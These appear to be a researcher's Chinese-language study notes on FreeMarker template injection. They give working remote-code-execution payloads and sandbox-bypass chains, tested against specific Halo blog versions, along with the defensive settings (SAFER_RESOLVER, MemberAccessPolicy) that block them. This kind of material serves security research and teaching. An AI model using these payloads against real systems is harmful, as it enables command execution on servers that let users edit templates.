freemarker模版注入
把一些没公开的学习笔记陆续公开,就当备份了
漏洞挖掘时freemarker模版注入位置一般出现在模板编辑处
freemarker通用payload
<#assign test="freemarker.template.utility.Execute"?new()> ${test("open /Applications/Calculator.app")}
漏洞原理是使用了freemarker内置函数?new
,可以用来创建一个实现freemarker.template.TemplateModel 类的对象
该payload触发位置在freemarker.template.utility.Execute中
的exec
方法
调用栈如下
exec:80, Execute (freemarker.template.utility)
_eval:65, MethodCall (freemarker.core)
eval:81, Expression (freemarker.core)
calculateInterpolatedStringOrMarkup:96, DollarVariable (freemarker.core)
accept:59, DollarVariable (freemarker.core)
visit:327, Environment (freemarker.core)
visit:333, Environment (freemarker.core)
process:306, Environment (freemarker.core)
process:386, Template (freemarker.template)
test:58, FreemarkerController (com.spring.controller)
其他poc1
<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","whoami").start()}
其他poc2
<#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("calc.exe")
以上两个payload和通用payload是类似的原理
当freemarker存在编辑模板功能时,为了防止模板注入,通常的防御手段为
使用 Configuration.setNewBuiltinClassResolver(TemplateClassResolver)
或设置 new_builtin_class_resolver
来限制这个内建函数对类的访问(从 2.3.17版开始),该配置有以下三种参数
- UNRESTRICTED_RESOLVER:可以通过
ClassUtil.forName(String)
获得任何类。 - SAFER_RESOLVER:禁止加载
ObjectConstructor
,Execute
和freemarker.template.utility.JythonRuntime
这三个类 - ALLOWS_NOTHING_RESOLVER:禁止解析任何类。
举例两个存在模板注入的系统修复方式:
Halo博客系统
https://github.com/halo-dev/halo/commit/dc3a73ee02ca183c509dedf703db28c80219c41c
craftercms
https://github.com/craftercms/engine/commit/2e249287412eca92828988b83b280921fe3332df
以上两种不同写法均为配置NewBuiltinClassResolver为SAFER_RESOLVER
使用该配置后再用上述payload攻击会有如下报错
除了?new
之外freemarker中还能用来攻击的内置函数是?api
, 但api
内建函数并不能随意使用,其必须在配置项api_builtin_enabled
为true
时才有效,而该配置在2.3.22
版本之后默认为false
。
使用?api攻击载荷执行rce
这里的object
是一个BeanWrapper
,它是模板自带的数据模型之一
<#assign classLoader=object?api.class.protectionDomain.classLoader>
<#assign clazz=classLoader.loadClass("ClassExposingGSON")>
<#assign field=clazz?api.getField("GSON")>
<#assign gson=field?api.get(null)>
<#assign ex=gson?api.fromJson("{}", classLoader.loadClass("freemarker.template.utility.Execute"))>
${ex("id")}
默认配置下将得到如图报错
freemarker沙箱绕过
在中文互联网上搜索freemaker模版注入内容绝大部分只有前文内容,但实际上根据Pwntester 2020年的议题 https://media.defcon.org/DEF CON 28/DEF CON Safe Mode presentations/DEF CON Safe Mode - Alvaro Muñoz and Oleksandr Mirosh - Room For Escape Scribbling Outside The Lines Of Template Security.pdf 可以发掘两个在2.3.30以下绕过沙箱的payload
1.绕过class.getClassloader反射加载Execute类
<#assign classloader=<<object>>.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}
这个payload主要是使用java.security.protectionDomain的getClassLoader方法来获得类加载器再一步一步反射调用Execute类
此payload
需要在数据模型中找到一个作为对象的变量
以halo1.2.0
举例,其freemarker版本为2.3.29
,并配置了NewBuiltinClassResolve
,编辑links.ftl
<@linkTag method="list">
<#if links?? && links?size gt 0>
<#list links as link>
<p>
<#assign classloader=link.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}
<a href="${link.url}" target="_blank" rel="external">${link.name}</a>
<#if link.description!=''>
– ${link.description}
</#if>
</p>
</#list>
</#if>
</@linkTag>
在原来代码中的
便签后插入payload,替换payload中的<<object>>
为link
访问links即可攻击成功
2.如果Spring Beans可用,可以直接禁用沙箱
此payload
同样可用于halo 1.2.0
版本
这个payload需要freemarker+spring并设置 setExposeSpringMacroHelpers(true)
或是application.propertices中配置spring.freemarker.expose-spring-macro-helpers=true
payload如下
<#assign ac=springMacroRequestContext.webApplicationContext>
<#assign fc=ac.getBean('freeMarkerConfiguration')>
<#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()>
<#assign VOID=fc.setNewBuiltinClassResolver(dcr)>${"freemarker.template.utility.Execute"?new()("id")}
据Pwntester议题所说freemarker在2.3.30中引入了一个基于MemberAccessPolicy的新沙箱,绕过沙箱的payload不可再使用
各种搜索后并没有找到该沙箱如何配置,下载halo1.4.7发现使用freemarker 2.3.31,并已经去掉了上次fix issue的配置内容,导致我以为MemberAccessPolicy无需配置,但发现使用<#assign test="freemarker.template.utility.Execute"?new()> ${test("id")}
这个最初的payload就可以直接攻击该版本
经过各种搜索,终于在JetBrains YouTrack
对CVE-2021-25770
的修复中发现了一处对MemberAccessPolicy
接口的使用
存在StrictMemberAccessPolicy
类实现MemberAccessPolicy
接口
在EntityExtendedBeansWrapper
中使用setMemberAccessPolicy(new StrictMemberAccessPolicy())
来配置MemberAccessPolicy
因为youtrack用了自定义类实现MemberAccessPolicy来修复ssti漏洞,让我误以为MemberAccessPolicy确实需要手动实现并配置
halo 1.5.4测试
对halo1.5.4的测试让我意识到2.3.30以上不用自定义类实现MemberAccessPolicy,其默认使用DefaultMemberAccessPolicy,但必须同时配置new-builtin-class-resolver,否则用最开始的payload即可攻击
测试过程如下
1.首先使用绕过沙箱的payload,发现执行不成功,原因是<<object>>.class.protectionDomain.classLoader
无法取到值
但<<object>>.class.protectionDomain
可以读到值
再次分析其在2.3.30以上引入的memberAccessPolicy策略
发现DefaultMemberAccessPolicy有个对应的DefaultMemberAccessPolicy-rules文件
查看DefaultMemberAccessPolicy-rules,可以看到ProtectionDomain.getClassLoader在2.3.30开始已经被block
根据spring4shell的思路尝试使用<<object>>.class.module.classLoader
绕过,发现也不行
查看rule可以看到java.lang.Class.getModule同样被disallowed,而getProtectionDomain,getName等等则是可以访问的
@whitelistPolicyAssignable的意思是这个类下面被列出来的方法就是白名单方法,如果前面有#的就不再是白名单方法
2.使用禁用沙箱payload,发现报错无法取到springMacroRequestContext值
halo-1.5.4设置expose-spring-macro-helpers为false,在该配置下无法禁用沙箱
修改为true,发现依然可以执行禁用沙箱payload
编辑archive.ftl,添加payload
<#assign ac=springMacroRequestContext.webApplicationContext>
<#assign fc=ac.getBean('freeMarkerConfiguration')>
<#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()>
<#assign VOID=fc.setNewBuiltinClassResolver(dcr)>${"freemarker.template.utility.Execute"?new()("id")}
得出结论,如果使用freemarker并给予编辑模版权限,除非freemarker版本在2.3.30及以上并配置new-builtin-class-resolver,否则均可被攻击。即使达到如上条件,如果expose-spring-macro-helpers为true,依然可以执行命令
除此之外,pwntester给的文档里面还提到了其他可以利用的trick
freemarker staticModels
Apache Camel
这些payload和springMacroRequestContext一样均需要项目作出相应的配置
因此按照freemarker在关于MemberAccessPolicy策略的文档说,如果不完全信任编辑模版的用户,WhitelistMemberAccessPolicy是唯一安全的配置